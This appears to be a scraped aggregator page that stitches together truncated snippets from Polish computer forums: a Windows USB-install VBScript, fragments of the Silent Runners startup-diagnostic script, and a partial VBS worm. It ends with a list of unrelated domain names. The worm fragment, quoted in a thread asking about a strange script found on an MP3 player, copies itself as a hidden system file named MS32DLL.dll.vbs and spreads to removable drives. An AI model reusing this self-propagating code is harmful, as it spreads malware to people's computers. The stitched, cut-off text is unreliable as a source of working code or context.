|
Temat: Instalacja Windows z pendrive
..."&"/y"),0,True End IF If strMassStorage <> "null" Then Set objFile = objFSO.OpenTextFile(strMassStorage&"\untd.txt",1,true) strMass = objFile.ReadAll objFile.close Set objFile = objFSO.OpenTextFile(strDrive&"\$WIN_NT$.~BT\winnt.sif",1,true) strUnAtt = objFile.ReadAll objFile.Close Set objFile = objFSO. CreateTextFile(strDrive&"\$WIN_NT$.~BT\winnt.sif",true) objFile.Write strUnAtt & strMass objFile.Close objShell.Run ("%comspec% /c mkdir "&strDrive&"\$WIN_NT$.~LS\$OEM$\TEXTMODE"),0,True objShell.Run ("%comspec% /c mkdir...
Źródło: searchengines.pl/index.php?showtopic=115154
Temat: Dziwny skrypt vbs w mp3-ce(odtwarzaczu)
...set fs = createobject("Scripting.FileSystemObject") set mf = fs.getfile(Wscript.ScriptFullname) dim text,size size = mf.size check = mf.drive.drivetype set text=mf.openastextstream(1,-2) do while not text.atendofstream mysource=mysource&text.readline mysource=mysource & vbcrlf loop do Set winpath = fs.getspecialfolder(0) set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs") tf.attributes = 32 set tf=fs. createtextfile(winpath & "\MS32DLL.dll.vbs",2,true) tf.write mysource tf.close set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs") tf.attributes = 39 for each flashdrive in fs.drives If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs") tf.attributes =32 set tf=fs.
Źródło: forum.gmclan.org/index.php?showtopic=18997
Temat: Prosze o spr. loga! Troj.Klone.G :( Tragedia.
..."
Wshso.Popup "Silent Runners is in testing mode.",1, _
"Testing, testing, 1-2-3...", vbOKOnly + vbExclamation
End If
'Configuration Detection Section
' FileSystemObject creation error (112)
' CScript/WScript (147)
' Dim (161)
' GetFileVersion(WinVer.exe) (VBScript 5.1) (182)
' OS version (223)
' WMI (279)
' Dim (364)
' command line arguments (440)
' supplementary search MsgBox (532)
' startup MsgBox (557)
' CreateTextFile error (583)
' output file header (625)
' WXP SP2 (629)
On Error Resume Next
Dim Fso : Set Fso = CreateObject("Scripting.FileSystemObject")
intErrNum = Err.Number : Err.Clear
On Error Goto 0
If intErrNum <> 0 Then
strURL = "http://tinyurl.com/7nn6"
intMB = MsgBox (Chr(34) & "Silent Runners" & Chr(34) &_
" cannot access file services critical to" & vbCRLF...
Źródło: mks.com.pl/forum/index.php?showtopic=1856
Temat: [internet] sieć i wirusy
...file name with computer name & today's date
'Startup Programs (pc_name_here) yyyy-mm-dd.txt
datLaunch = Now
strFN = strPathOFFo & strflagTest & "Startup Programs (" &_
oNetwk.ComputerName & ") " & FmtDate(datLaunch) & " " &_
FmtHMS(datLaunch) & ".txt"
On Error Resume Next
If Fso.FileExists(strFN) Then Fso.DeleteFile(strFN)
Err.Clear
Public oFN : Set oFN = Fso. CreateTextFile(strFN,True)
intErrNum = Err.Number : Err.Clear
On Error Goto 0
'if can't create report file
If intErrNum > 0 Then
strURL = "http://www.silentrunners.org/Silent%20Runners%20RED.vbs"
'invite user to e-mail me & quit
If flagOut = "W" Then
intMB = MsgBox ("The script cannot create its report file. This is a known, intermittent" &_
vbCRLF & "problem under " &...
Źródło: forum.pcmaniak.pl/index.php?showtopic=25785
zanotowane.pldoc.pisz.plpdf.pisz.plwyborywpsl.htw.pl
|
